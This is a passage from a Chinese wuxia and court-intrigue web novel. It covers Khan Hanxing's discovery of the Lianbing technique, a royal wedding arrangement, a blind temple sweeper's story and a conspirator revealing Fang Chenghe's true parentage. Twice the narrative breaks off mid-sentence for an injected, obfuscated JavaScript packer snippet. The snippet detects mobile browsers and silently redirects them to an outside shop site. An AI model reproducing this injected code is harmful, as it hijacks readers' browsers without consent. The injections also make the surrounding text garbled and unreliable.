他重新去探寒星的脉息,半晌,他从药匣中取出一个锋利的薄片,还有一个银制小碗,“大汗,为了稳妥起见,我得取一点您身上的血,得罪了。” 寒星点点头,爽快道,“取吧。” 巫医找准穴位,小心翼翼地取了一小抔寒星的血,他诧异地瞪着碗中盛着的鲜血,目光渐次变得惶骇不安,“这,这……” 几人瞧着巫医古怪的模样,也凑到碗边细看,一时不由得都愣住了。 碗里的血,居然是蓝色的。 寒星怔了怔,随即咬破自己的小指,鲜红的血缓缓渗出,他抬指问道,“这是怎么回事?” 巫医解释道,“大汗有所不知,我方才取血的穴位是少府穴,此穴连同心脉,正是心经气血聚集之处。”他顿了顿,迟疑地说,“此血性寒,所以才会散发出蓝色幽光,这并不是中毒所致,倒像是走火入魔的样子,大汗可是修炼了什么武功秘籍,亦或是什么内功心法?” 寒星恍然大悟,“我明白了!是怜冰决!” 巫医面露诧异之色,“大汗所说的怜冰决,可是那霜寒十四州的内功心法?” “正是。” “霜寒十四州”是寒星生父依拉洪的独门武功,总共十四招,其中最厉害也最难领悟的一招,莫过于内功心法“怜冰决”。 怜冰决既可凝雪为冰,破刃封喉,取人性命,亦可心怀莲花,慈悲万物,解毒疗伤。 寒星此前,便是靠着霜寒十四州的前十三招,打败天下无敌手,而那日,他在狼峰岭独战群狼,意外领悟了怜冰决“怜”之一字“慕往闵来”的真谛。 寒星从前一直以为,他是因缘际会,才掌握此法的,如今想来,这怜冰决怕是早就已经存在于他的体内,只是他一直未能成功发挥出它的威力,直到那日遇到碧眼狼王,怜冰决的内力才被激发了出来。 寒星想了想,抬指解开衣裳,露出自己心口处那块如矛似旌的图案,他从前一直以为这是胎记,如今想来,怕是怜冰决的封印。 寒星问巫医道,“我父亲身上是不是也有这样的痕迹?” 巫医定睛一看,惊呼道,“不错,果然和老汗王身上的一模一样!” 此刻,寒星的心口处正散发着淡蓝色的幽光,他垂眸凝视片刻,将手掌覆在上面,心中一时百感交集。 寒星从前是宰相府的暗卫,每天都在刀尖儿上摸爬滚打,身上亦是大伤小伤无数,奇怪的是,无论他受的伤有多严重,都不会在他的身体上留下一星半点的疤痕,寒星还以为是自己天赋异禀,此刻他才明白,原来是存在于自己体内的怜冰决一直在保护着他。 “巫医可知,这怜冰决为何会在本汗身上引起反噬?是体内残存的黄昏雨的缘故吗?” 巫医认真琢磨了一阵儿,有些不确定地说,“或许……或许是因为大汗今日劳心劳神,又在冰天雪地里沾染了寒气,一方面给了余毒反扑的机会,另一方面也激发了怜冰决的内力,黄昏雨害主,怜冰决护主,所以才会引发大汗身上的不适之感,大汗掌握怜冰决的时间尚短,还不能得心应手,运用自如,假以时日,或许便可无碍了。” 寒木急道,“或许或许,又是或许,你能不能给个准话啊!” 巫医面有惭色,“大汗恕罪,我不会武功,对怜冰决也不甚了解,我只能根据黄昏雨的毒性加以推断,可是我也不确定到底是不是这样。” 寒星倒是一脸淡然,“那,依你之见,本汗体内残存的黄昏雨要不要紧?” “按理说,这怜冰决在解毒一事上是有奇效的,方才我探了大汗的脉息,又探了寒木将军的脉息,发觉大汗体内的黄昏雨毒量甚微,而寒木将军体内的黄昏雨则明显要多出许多,所以我才奇怪,为何大汗有事,而寒木将军反而无事。” 寒星点头道,“所以说,这怜冰决是在帮着本汗肃清体内的黄昏雨余毒?” “应该是这样。”巫医犹豫了一下,“大汗若是想弄清楚这怜冰决的来龙去脉,这世间有一人或许能解大汗的疑惑。” “何人?” “山海客。” 104. 美人可入药 寒星微微眯起眼睛,“山海客——” 寒星的母亲曾经同他讲过,山海客是一位世外高人,武学奇才,也是依拉洪的师傅,山海客早年游历天下,在西域境内误食毒草,当时的西域汗王,也就是依拉洪之父救下了他,为报救命之恩,山海客收依拉洪为徒,悉心教导,倾囊相授,这霜寒十四州便是山海客传给依拉洪的。 只是依拉洪学成之际,山海客不告而别,飒然离去,从此便杳无音信,再无所踪。 “时过境迁,山海客师傅恐怕早已辞世,纵然他还活着,本汗又该去何处寻他呢?” “这……这我就不知道了。” “罢了。”寒星拢衣起身,“今日劳烦巫医了。” “不敢不敢,这都是我应该做的。” 此时帐内只有寒星、寒木、席容烟、巫医四人,寒星抬眼扫视一圈,看向巫医,“本汗希望,今日有关怜冰决的事情,这世间再无第五人知晓。” 巫医会意,了然道,“大汗放心。” 寒星微一颔首,“去罢。” 巫医走后,寒木忍不住开口问道,“你若是真不想让别人知道此事,为何不直接杀了他,只有死人才能守住秘密,反正他也帮不上你什么,死了也无甚可惜。” “你不明白,所谓巫医,一半是巫,一半是医,轻易是得罪不得的,这也是西域汗王之位更迭轮转,巫医却始终未曾换人的原因。”寒星说着不由得叹了口气,“更何况父亲当年的旧人已经不多了,若想追查当年之事,必得去寻当年之人。” “当年之人……尧里瓦斯,沙吾提,艾山可不都是当年之人,你该去问问他们。” “嗯,估计艾山那时候还没出生呢,沙吾提比艾山大不了几岁,也未必能有什么印象,尧里瓦斯倒是差不多能知道一二。”寒星打了个哈欠,“好了,太晚了,明天再说吧,木头,你先回去好好睡一觉,明天我再找你们商议。” 寒木看了一眼寒星,又看了一眼席容烟,“好吧,那我去睡了,你和烟姑娘也早些休息。” 寒木一走,席容烟立刻上去抱住寒星,她剥开寒星的衣裳,指尖在他的心口处轻轻摩挲着,眼中满是心疼,她才不在乎这是不是什么绝世武功,她只担心寒星。 “疼不疼?” 寒星笑了笑,“不疼了,你一摸就不疼了。” 席容烟知道这是寒星在哄她呢,于是痴痴地说,“若真如此,就好了。” 寒星敞着上衣,一把将她搂入怀中,声音沙哑低沉,“我几时骗过你?” 席容烟脸颊微红,伸手推他,“什么时候了,你还有心思开玩笑?” 寒星并不松手,反而搂得更紧了些,他无意识地唤着,“阿烟——” 席容烟从纷扬而落的亲吻中挣扎出来,微微喘了口气,柔声问,“你身上的毒不要紧吗?” 寒星冰凉的唇滑过她的脖颈,一路往下,他含糊不清地说,“你……就是我的药……” 翌日一早,寒星派人请了尧里瓦斯过来。 尧里瓦斯已过天命之年,却是老当益壮,精神矍铄,他大步踏入帐中,行礼道,“大汗。” 寒星扶他坐下,“尧里瓦斯将军跟我父亲并肩作战,算起来应该有十数年了吧。” “我与大汗……”提起依拉洪,尧里瓦斯的眼中闪过一丝落寞,“我与大汗相知相识,已经有二十多年了,若是他还活着,这个时间会更长。” 寒星唏嘘道,“如此说来,尧里瓦斯将军算是父亲平生一知己了。” “何止知己,更是生死之交。”尧里瓦斯叹了口气,“大汗问这个,可是有什么事?” “确有一事想向将军请教,将军可听说过山海客这个人?” 尧里瓦斯点点头,“听说过,他是依拉洪的师傅,功夫极佳,深不可测,只是为人疏狂,很多年前便不知所踪了。” “听说祖父对他有救命之恩,所以他才留在西域教授父亲武艺,这一留便是许多年。” 尧里瓦斯微一皱眉,“确实有这样的说法,不过——” 寒星见他似乎有所顾忌,便命帐中的其他人尽数退下,“将军有什么话,直说便是。” “唉,其实当年的事我也不是十分清楚,只是听说山海客似乎和依拉洪的阿塔闹得很不愉快,所以山海客后来才不告而别的,那时候,其实依拉洪还没有完全出师,霜寒十四州的最后一招,也就是最厉害的内功心法‘怜冰决’,山海客还没来得及传授给他。” “祖父不是救过山海客吗,有这份恩情在,他们又怎么会闹僵呢?” “当年有关这件事的议论猜测颇多,有人说,是因为山海客心中藏私,没有将功夫尽数教给依拉洪,结果被依拉洪的阿塔发现,二人因此大吵了一架。也有人说,山海客其实不是自愿留在西域的,而是依拉洪的阿塔给他下了剧毒,逼迫他收依拉洪为徒。还有人说……” 尧里瓦斯稍稍迟疑了一下,继续说道,“还有人说,山海客看上了当时的西国公主,可西国公主最后却嫁给了依拉洪,所以二人就此决裂。只是世事变迁,沧海桑田,这么多年过去了,这些人,这些事,全都埋在了滚滚黄沙之下,是是非非,真真假假,早都已经说不清了。” 寒星稍作思量,“山海客后来就再也没有来过西域?” “嗯,大汗继位之后,一直没有放弃过对他的寻找,只可惜派去大魏的人全都无功而返。” “大魏?父亲为何如此肯定,山海客一定在大魏呢?” “山海客是大魏人,留在大魏的可能性自然更大,而且他早年间习武不当,伤了心脉,即使后来通过怜冰决已然痊愈,他的身体还是会因为过于寒冷或者过于湿热而感到不适,那么,极北之地北疆和极南之地南蛮就都不可能了,西域更不可能,至于西国,按照传言的说法,山海客心仪西国公主,可惜啊,落花有意,流水无情,那是他的伤心之地,想来他也是不愿去的,对了,”尧里瓦斯忽然想起一事,“后来我们留在大魏的暗桩遣人回来禀报,说那山海客曾经在大魏的西山住过一夜,只是他武功高强,我们的人加在一块,都没能拦住他。” “西山?什么时候?” “约莫……十四年前吧,我记得那个时候,我刚有了玉山。”说起自己的小女儿,尧里瓦斯苍老的脸上终于浮现出一丝笑意,“过了年,她就该十四岁了。” 寒星却是怔了怔,“十四年前——” 十四年前……那是他入宰相府的时间……也是镇西大将军陈玄赫被满门抄斩的时间。 这一切究竟是巧合,还是人为? 山海客又在其中扮演了怎样的角色? 依拉洪武艺超群,勇猛异常,寒星不相信世上有人能够伤害他,甚至能够取了他的性命,可如果那个人是山海客,也就不足为奇了,所以,山海客后来真的再也没回过西域吗? 可是……如果真的是他杀的,为什么他传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502812|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 授依拉洪武功的时候不杀,为什么他离开西域的时候不杀,为什么依拉洪继承汗王之位的时候他还是不杀,为什么偏偏是十四年前呢? “大汗是怀疑,老汗王之死可能同山海客有关?” “嗯,将军觉得呢。” 尧里瓦斯认真想了想,正色道,“我觉得不太可能,山海客此人放浪形骸,最是不羁,即便他真的要杀老汗王,也断然不屑于偷偷摸摸地动手,以他的性格,只怕恨不得昭告天下才好,更何况,他和老汗王还有若干年的师徒情份在,师者,父也,怎么说也不至于。” “这件事疑点颇多,本汗也只是猜测罢了,哦对了,还有一个问题,十四年前父亲不是已经……” 寒星终于还是没忍心说出那个“死”字,“父亲派去大魏的那些暗桩为何还在?” 尧里瓦斯连忙解释道,“老汗王的旧部忠心耿耿,所以即便那时候老汗王已然身死,他们也没有就地解散,而是选择继续留在大魏刺探消息,一则是想保存实力,以待来日,二则也是希望能够找到大汗还有西国公主的下落,大汗是老汗王唯一的骨肉啊,可这么多年过去了,别说人了,就连个影子都没找着,唉,说到底,还是他们无用。” 寒星的嘴唇微微动了动,他并不怀疑那些暗桩的本事,只是谁能想到,曾经骄傲尊贵,引得无数英雄豪杰为之倾慕的西国公主,会为了保护自己的孩子平安长大,甘愿自毁容颜,躲在风月场红翠馆以跳舞为生。 在这期间,不是没有男人打过她的主意,可当她摘下面纱,露出那张布满深一块浅一块细碎刀痕的脸时,原本想和她温存一番的男人全都吓得落荒而逃。 这是寒星埋在心底的隐痛,这个秘密,只有他自己一个人知道。 寒星没再继续这个话题,他侧了侧脸,淡淡道,“试着联系一下那些暗桩,本汗有几件事要问他们。” “好,我试试看。” “嗯。” 尧里瓦斯站起身来,他才迈出一只脚,忽又站住,迟疑道,“大汗……” 寒星抬眼看向他,“怎么了?” “我想知道,大魏皇帝到底提出了怎样的条件,会让大汗如此为难?” 寒星并不意外,他知道尧里瓦斯迟早会问起这个,于是笑了笑,“本汗可以选择不说吗。” “当然可以,”尧里瓦斯顿了顿,“只是我希望,大汗放弃揪出老汗王之死的幕后真凶,并不是为了一个女人。” 寒星挑了挑眉,神情自若地说,“当然不是,而且本汗也不会放弃追查当年之事,依拉洪不仅是西域的汗王,更是本汗的生身父亲,本汗一定要查个水落石出!” 尧里瓦斯吐出一口气,“那就好。” 他行了个礼,随即转身离开。 寒星呆呆坐了一阵儿,直到帐帘猛地被人掀开,灿烂的阳光随之透过缝隙,倾泻而下,刺得寒星终于回过神来,他望着来人,纳罕道,“木头?” 寒木也不废话,直接将信递过去,言简意赅地说,“肃安王来信了。” 寒星心中一动,动手拆信,只见偌大的一张纸上,只有一字:可。 寒木仔细观察着寒星的神情,“如何?” 寒星笑了起来,“好事,哈哈哈,天大的好事!”寒星起身,欢喜地拍了拍寒木的肩膀,“快过年了,着人吩咐下去,本汗要大摆筵席,同肃安王共迎新春。” 寒木也没多问,“好,我这就去安排。” 105. 花下扫地僧 康泰宫。 魏晗远进来规规矩矩行了个礼,“给母妃请安。” 贤太妃看见是他,自然是十分欢喜的,“远儿来了,快坐吧。” 采碧捧来一个龙泉窑青瓷点彩盖碗,笑盈盈道,“小王爷最爱喝的牛乳茶,娘娘一早就着人备下了,一直搁在暖炉边用火煨着,王爷快趁热用吧。” “谢谢采碧姐姐。” 采碧抿嘴一乐,“都是要成亲的人了,还满口姐姐姐姐的,也不怕新娘子笑话。” 魏晗远有些不好意思,“我……” 贤太妃听采碧说起此事,面上十分欣慰,也笑道,“听说是你哥哥觉得你到了该娶妻的年纪,去求皇上给你指婚,皇上就给你定了苏家的女儿,还让你们开春就把事儿办了。” “是。” 贤太妃絮絮叹了口气,“唉,安儿对自己的婚事都不上心,倒是一直惦记着你。” 魏晗远忙道,“大哥心在沙场,功在社稷,自然不愿意沉溺儿女私情,不像我,就是个百无聊赖的闲散王爷罢了。” “罢了,由他去吧,我也管不了这许多了。远儿,这既然是皇上的意思,我们必得照办,只是这时间上终归是有些仓促了。”贤太妃不知道这桩婚事其实是魏晗远自己求来的,所以还担心他不乐意,“听说新娘子是苏方的女儿,原本是太后娘娘打算指给皇上的人,只可惜,皇上没看中这丫头,这才指给了你,也不晓得这孩子的性情禀赋如何,和你能不能处得来。” 魏晗烨为免魏太后对肃安王起疑,所以对外只说,肃安王请求他为魏晗远指一桩婚事,而他正好急于摆脱魏太后塞给他的人,索性就把苏蕙菁丢给了魏晗远。 因此,贤太妃很担心是不是这丫头有什么隐疾,又或者模样上有什么缺陷,这才让魏晗烨如此不喜。 魏晗远当然不敢说他们之前其实是见过的,否则一旦传扬开来,流言纷纷,即便他们俩清清白白,那日在贤乐宫只不过是在一块儿听听琴,品品茶,聊聊天,可孤男寡女共处一室,说出去总归不大好听,于是,魏晗远扯了个谎,信口道,“儿臣相信缘分,既然上苍让我们结成夫妻,便说明我们是彼此的有缘人,想来缘分是不会有错的。” “缘分?”贤太妃愣了愣,随即又笑起来,“你怎么也信起这个来了?” 魏晗远并非全然胡说,自从那日他遇到了苏蕙菁,他便对缘分一说深信不疑,这天底下有那么多人,茫茫人海,他们却能在时空的荒野中相遇,这怎么能说不是缘分使然呢。 “从前不懂事,如今渐渐发觉,其实很多事情都是人算不如天算,信了,便自在了。” 贤太妃若有所思地点了点头,“你能这样想,倒也不错。” “母妃,儿臣以为虽然时间略微仓促了些,我们还是要悉心筹备着,别委屈了人家姑娘。” “这个自然,毕竟是苏家的女儿,也不算是高攀了我们,若是薄待了他们,指不定前朝又要有多少长舌头的老匹夫议论纷纷,我才和采碧说,要从我的嫁妆里挑一件送给苏姑娘,正巧你来了,你帮我选选,哪一样送给她合适?” 采碧招了招手,几个丫鬟便一人捧了一样东西过来。 魏晗远的目光在几样东西上依次扫过,最后停留在一块流光溢彩的翡翠上,他拿起翡翠仔细端详,只见黄白绿三色有如细腻的春水,在温润清和的阳光下逸散纵横,潺湲流淌。 他摩挲着这块翡翠,一时有些爱不释手,贤太妃见状笑了笑,“你眼光不错,这块翡翠啊,是你太爷爷送给我的,他说这翡翠上的黄白绿三色象征着福禄寿,是个难得的好意头。” “既然是太爷爷送给母妃的礼物,母妃还是自己留着作个念想吧。” 贤太妃微笑着摇了摇头,她伸出手,指尖在三彩翡翠上轻轻滑过,“无妨,母妃的念想可太多了,若是都要留,又哪里留得完呢,由它去吧。如今啊,母妃心里最大的念想就是你和你哥哥了,你瞧,时间过得多快呀,一晃眼的功夫,我的远儿都长大了,都要娶妻生子了,母妃高兴,母妃是真高兴,只要你们小夫妻俩以后和和美美地过日子,就比什么都强。” 魏晗远红了眼眶,他用力点点头,“母妃的话,儿臣都记住了。” 这时,门外传来了一个软软的,小小的声音,“皇祖母呢……我要皇祖母……” 紧跟着便是一个丫鬟的声音,“好啦,小殿下,奴婢抱你去园子里逛吧,好不好。” 魏晗远好奇地问,“这是……皇上的孩子?” 贤太妃摇头道,“不是,这孩子前段时间一直放在隆寿宫养着来着,这几日太后娘娘说自己头痛,就让我帮忙照看两天。” 魏晗远更奇怪了,“太后娘娘宫里怎么会有小孩子呢?” 贤太妃给采碧使了一个眼色,采碧会意,立刻领了丫鬟们下去,贤太妃这才慢悠悠地说,“他呀,是住在西山的那位太皇太后的侄子的儿子。” 魏晗远对朝堂上的事情不怎么清楚,此刻听贤太妃如此说,愣是绕了半天也没绕过来,“皇祖母的……侄子的……儿子?” “哈哈哈,就是方承鹤方仰山呀。” 这下魏晗远总算有点印象了,“啊?他都有儿子了?” “嗯。” “可他为什么要把自己的孩子送到宫里来呢?自己的孩子自己照顾不是更好吗?” 贤太妃笑而不语,魏晗远这才反应过来,“难道他并不是自愿的?可皇上为什么要这样做呢,难道……难道方承鹤有谋反之心?!” “行了,小点声,生怕别人听不见吗。” 魏晗远连忙掩了掩嘴,又低声问道,“真的是这样吗?” “我猜皇上应该只是怀疑吧,还没有什么证据能够证明方承鹤确有谋反之心,所以皇上现在只是扣下了他的孩子,并没有对方承鹤本人动手。” 魏晗远默了半晌,突然长叹一口气,“何苦啊,何苦啊,我如今才算明白,那日,她为什么说我是没事儿闲的了。” “谁说的?” “哦,没什么,就是一个朋友,我之前找她诉苦来着。” “什么朋友?”贤太妃的神情瞬间变得严肃起来,“远儿,你没说什么不该说的话吧。” 魏晗远连忙摆手,“没有,没有,绝对没有,我就是说自己每天有点无聊,然后她随便开解了我两句,母妃你放心,我就算再不懂事,祸从口出的道理,我还是懂得的。” “那就好。”贤太妃稍微松了口气,继续说道,“远儿,你别怪母妃管得多,只因我们身为皇室中人,许多事情便不得不多一重顾虑,这样才能保自己万全。前车之鉴已然太多,母妃不能让你还有你哥哥再冒一丁点风险,远儿,你明白吗。” “嗯,我明白的母妃,你放心好啦。”魏晗远有些心虚,他起身欲走,“母妃,那个,儿臣还有几本琴谱没有看完,儿臣就先回去了。” 贤太妃点头道,“练琴可以修身养性,只是你也不要太过辛苦了,随便玩玩就好。” “儿臣只是想给自己找个事儿做罢了,谈不上辛苦的。” 魏晗远行了个礼,“儿臣告退。” “去吧,晚上记得过来陪母妃一块儿用膳。” 魏晗远略微迟疑了一下,末了应声道,“好。” 西山。 纷扬而落的飞花裹在寂静的山石之上,天地间,尽是一片银白。 苏蕙菁仰头望了眼耸立在云端的六净寺,随即单手提起裙摆,三步并作两步,跑得飞快。 后面的青儿上气不接下气地抱怨着,“小姐你能不能慢点啊,等等我。” 苏蕙菁回身拽了她一把,哄道,“好青儿,你再坚持坚持,马上就要到了,我回去给你多翻一倍的月例银子,如何?” 青儿一听有银子拿,高兴得两眼直冒光,她浑身不知哪来的力气,也不用苏蕙菁拉了,没一会儿功夫就跑到苏蕙菁前面去了。 苏蕙菁看着青儿矫捷的步伐,愣了愣,随即翻了个大大的白眼。 二人到时,六净寺的僧人正在诵经,苏蕙菁不便打扰,便带着青儿在寺中四处闲逛起来。 六净寺依山而建,草木繁盛,苏蕙菁赏玩着六净寺中的如画风光,啧啧称奇,“不愧是钟灵毓秀之地,此时已然入冬,寺中却还有这么多世间罕见的花花草草,真是太神奇了。” 青儿凑到一串小白花跟前,“哇,小姐你快瞧,这串花好像在发光欸。” 苏蕙菁凝眸细看,认出这花便是佛家的仙间极品之花优昙华,连忙双手合十,念了声佛。 青儿疑惑道,“这花有什么说法吗?” “此花名唤优昙华,《法华经》上说,如是妙法,诸佛如来,时乃说之,如优昙钵华,时一现耳,传说此花三千年一开,极是难得,我从前也只是听说罢了,从未想过有一日竟能亲眼看见此花的盛放。”[1] 青儿闻说,也连忙学着苏蕙菁的样子拜了几拜,“佛祖保佑,佛祖保佑。” 一名扫地僧听见二人的对话,上前念佛道,“阿弥陀佛。” 苏蕙菁还礼,“大师好。” 扫地僧眉宽眼方,一举一动间颇有几分英气,“施主莫要误会,我只是寺中的一个扫地之人罢了,并不是什么大师。” 苏蕙菁笑道,“佛经上说,世法平等,便是这寺中的一草一木,一砖一瓦也都是有灵气的,大师又何必自谦呢。” “施主所言也有一番道理,不知二位施主来此有何贵干?” “不瞒大师,我最近有一件事情拿不定主意,希望能得到三乘大师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502813|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的几句真言。” “施主来得不巧,师傅三日前就已经云游去了。” 苏蕙菁有些失望,“大师可知他去了何处,几时回来?” “师傅的行踪一向飘忽不定,短则六七日,长则三五年,总归是没有定数的。” “什么?三五年?这也太长了吧!”青儿不小心说漏了嘴,“我们姑娘马上就要嫁过去了,三五年如何等得?只怕到时候连孩子都生出来了。” 扫地僧闻言眉头微皱,他的脸往苏蕙菁的方向侧了侧,“施主莫不是姓苏?” 苏蕙菁诧异道,“你怎知——” “我怎知你是苏方的女儿?” “啊?你连这都知道?”苏蕙菁上上下下打量着他,“这也太神了吧,你不会是神仙吧?” “哈哈哈哈,我是神仙?我要真是神仙就好喽。”扫地僧的语气中掺着一丝怅意,他笑了笑,“皇上谕旨,让你同哲远王择日成婚,这样的大事谁人不知,谁人不晓。” 苏蕙菁对这个回答并不满意,她追问道,“就算是这样,你又怎知我就是圣旨里的那个苏方之女呢,难道除了她和哲远王,这天底下就没有别人嫁娶了不成?” “施主有所不知,除了容貌衣着,每个人身上还有一样东西彰显着主人的身份。” “那是何物?” “气。” “气?” “不错,每个人身上都带着一股与生俱来的气,施主身上的便是贵气,所以施主必定是高门贵女,只是谁家的高门贵女出门,身边会只带一个丫鬟呢,想来也便只有那位不遵世俗礼法的苏家大小姐了。” 苏蕙菁赞叹不已,“想不到嘛,大师竟还有这份本领,佩服,实在是佩服。” 扫地僧苦笑两声,“施主不必羡慕我,不过是生活所迫罢了,眼睛瞎了,总得想个别的法子,否则万一再得罪了什么不该得罪的人,岂不是又要挨一顿好打?” 苏蕙菁微微一怔,她这时候这才发现扫地僧的双眼空洞无神,而且他们说了这么久的话,他的眼睛却一直都没有眨过,她心中一惊,小心翼翼地问,“大师,你的眼睛——” 扫地僧淡淡道,“早就瞎了。” 青儿忍不住惊呼起来,“啊?为什么啊!” 苏蕙菁赶紧朝青儿做了一个噤声的手势,示意她不要再说了。 扫地僧倒是并不介意,“我年轻的时候会点武功,最爱和人争强斗狠,有一次,我得罪了一个不该得罪的人,那个人骂我有眼无珠,提出要和我比试比试,若是我赢了,他便立刻死在我眼前,可若他是赢了,他便要取走我的两只眼珠,我那时候自大狂妄,一口就答应了下来,结果,他赢了,我输了,愿赌服输,我从此就再也看不见东西了。” 扫地僧说这话时,脸上并无多少恨意,他的语气平和,仿佛在说着同自己毫不相干的事,“后来我不小心掉进了一条湍急的河流之中,河底藏着无数的暗礁怪石,把我刮得浑身是伤,动弹不得,当我以为我必死无疑的时候,正在附近云游的三乘大师救了我,师傅把我带回了六净寺,让我留在寺里扫扫地,念念经,拜拜佛。一开始,我满心想的都是报仇雪恨,我把扫帚当作武器,日复一日,年复一年地苦练着,也不知过了多久,有一天,当我照例拿着扫帚,朝一棵树狠狠刺过去的时候,我突然听见了一阵十分悦耳的鸟鸣声,我不自觉停下手中动作,仔细听着一声又一声的天籁。空山新雨,房栊寂静,天地间只能听见鸟儿的鸣叫声,扫帚从我手中滑落的同时,我也放下了心中的执念,那一刻,我才明白什么叫立地成佛。” 苏蕙菁痴痴听着,她从扫地僧平缓无波的叙述中感受到了被时间淡去的那抹沧桑,不由叹了口气,“正所谓心生种种法生,心灭种种法灭,大师是有慧根之人。”[2] “师傅也这样说。”扫地僧微微一笑,“施主既然明白这个道理,又何必求助于外物呢,遇事只管问自己的心便是了。” 苏蕙菁一愣,原来扫地僧提起这些陈年往事,竟是为了劝慰她,她一时不禁有些感动,诚心诚意地冲他拜了拜,“多谢大师指点。” 扫地僧摆摆手,“别介,我说过,我不是什么大师,不过是凡尘一庸碌罢了,施主莫要这样抬举我。” “我也说过,世法平等,庸碌又何尝不是一种修行呢,所以在我的眼中,你就是大师。” 一场机锋对答,说得二人都笑了起来。 “虽然看不见施主的容貌,但我想,施主笑起来一定是极好看的。”话才出口,扫地僧就意识到自己失言了,也不等苏蕙菁答言,他合掌道,“山那头还有积雪没有清扫,我先去干活了,雪天路滑,两位施主慢行。” 苏蕙菁和青儿都念了声佛,她们目送扫地僧的背影渐次隐入一片苍茫雪色。 106. 雪中黑衣人 山上,北风呼啸,黑衣人和方承鹤并肩而立,他们的袍摆在风中发出“沙沙沙”的响声。 方承鹤说道,“肃安王去西域了,听说,他此行是想和西域可汗达成三桩交易。” 黑衣人颇感兴趣,“哦?什么交易。” “一是为了开互市,二是为了迎平乐,三是——” “三是什么?” 方承鹤老实地回答,“不知道,第三件事写在了密信里,又是肃安王亲自送去西域的,估计除了魏晗烨和西域可汗,没人能看见信里面的内容。” “这么神秘?”黑衣人勾起嘴角,“看来,这最后一件事才是魏晗烨的真正目的。” “我担心的是,万一魏晗烨和西域可汗最后达成了一致,那么对于魏晗烨而言,外忧就不复存在了,他肯定会着手处理内患,到时候我们就危险了。” “慌什么,兵来将挡水来土掩,大不了就和他拼个鱼死网破。” “你无家无业,无牵无挂,当然不在乎了,可我不同,我有家族有父母,有老婆有孩子,万一事情败露,我一家子老小都得跟着完蛋,我绝对不能冒这个险。” 黑衣人冷笑一声,不屑道,“哼,又想当皇帝,又想舒舒服服,平坦安逸,天底下哪有这样的好事。你要是有这么多的顾虑,我劝你趁早罢手,我另找别人就是。方公子,我提醒你一句,我不是只能和你合作,这天底下想做皇帝的人可太多了,而皇位,只有一个。” 方承鹤听出了他的弦外之音,挑眉道,“除了我,你还找过谁?” “宁凯风,我原本想着他是前朝宁远侯的后代,自然和魏晗烨有着不共戴天之仇,可惜呀,那家伙是个没刚性的草包,胆子比老鼠还小,还没等我说完他就捂着耳朵跑了。” “哈哈哈,宁小侯爷的刚性一向只在风月场上,你找他可是找错人了。” “他的那点风流账我又不是不知道,我找他,倒也不单单是为了找他,只因我听说,他的祖上宁远侯和那世外高人山海客有几分交情,我原本是想找他顺便打听打听山海客的下落,哼,没想到他这么没用,连听都不敢听。” “你也别怪他胆小,当日冯同庆被下了大狱,宁凯风碍着冯遇的情面,赶往刑部救人,他去得不巧,正好撞见了冯同庆受梳洗之刑的一幕,嘶,那叫一个惨!”方承鹤打了个激灵,“听说冯同庆被折磨得连个人样都没有了,光有出气没进气了,可把宁凯风吓得不轻,从那以后,他就跟中了邪一样,整日疯疯癫癫的,连红翠馆和缀锦楼都不大去了。” 黑衣人的声音冷冽森然,“都说那魏晗烨是个千古少有的大善人,仁义无双的贤君子,可我瞧他用起刑,断起案来,可是一点也没心慈手软呢。” 方承鹤低下头,凝视着黑衣人投在地上的那团阴影,半晌,他皱眉道,“其实我挺好奇的,你为什么这么讨厌魏晗烨呢,魏晗烨为人谦和有礼,看起来不像是个会与人结怨的主儿。” “是啊,我为什么这么恨他呢。”黑衣人像是在自言自语,他喃喃道,“其实我也知道,他明明什么都没做错,可我就是恨他,没来由的恨他。” 方承鹤闻言,挑了挑眉,“既然你这么恨魏晗烨,为什么不直接动手杀了他,你手里可是握着能调遣禁军的血玉,直接逼宫不比你玩这些阴谋诡计来得干脆利落?” “你不懂,魏晗烨身边不止有禁军,还有一帮武功高强的暗卫,从前的袁苍,还有现在的袁青都是暗卫出身,他们可比那些禁军难缠多了。” 方承鹤侧头盯着他,“你怎么这么了解宫里的事儿?” 这个人实在是太奇怪了,从方承鹤见到他的第一面起,他永远都藏在黑色的斗篷之下,要不就是用宽大的帽檐把脸遮得严严实实,要不就是戴着面具,只露出两只眼睛来,方承鹤从来没见过他真实的样子,他的声音听起来也是怪怪的,他的一举一动都透露着蹊跷和古怪。 “知己知彼,才能百战不殆。”黑衣人像是看穿了方承鹤的心思,哂笑道,“怎么了?你怕了?”[1] 方承鹤咽了口吐沫,“我想问你一个问题。” “你该不会又想问我是谁吧,方公子,趁早断了这个念想吧,我是不会告诉你的。” “不是,我不问这个。” “那你说吧,我听听看。” “我想知道,除了我和宁凯风,你还去找过谁,为什么?” 方承鹤心想,既然不能直接问你的身份,那就看看,你都和谁有过往来。 “没了,就你们俩。我找宁凯风,是因为他是宁远侯之后,而我找你——”黑衣人突然笑起来,他极轻极慢地说,“因为,你是太皇太后的亲生儿子。” 方承鹤怔忡地愣在那儿,整个人如遭雷击,“你,你说什么?” “方公子不会还不知道自己的身世吧?”黑衣人瞧着他目瞪口呆、失魂落魄的样子,竟觉得有几分好笑,“方承鹤,方仰山,你是方雪岩和太皇太后生下的孩子,所以这些年来,太皇太后才会格外疼你,不然,难道你以为一个姑母会为一个侄子做到这个份儿上吗。” 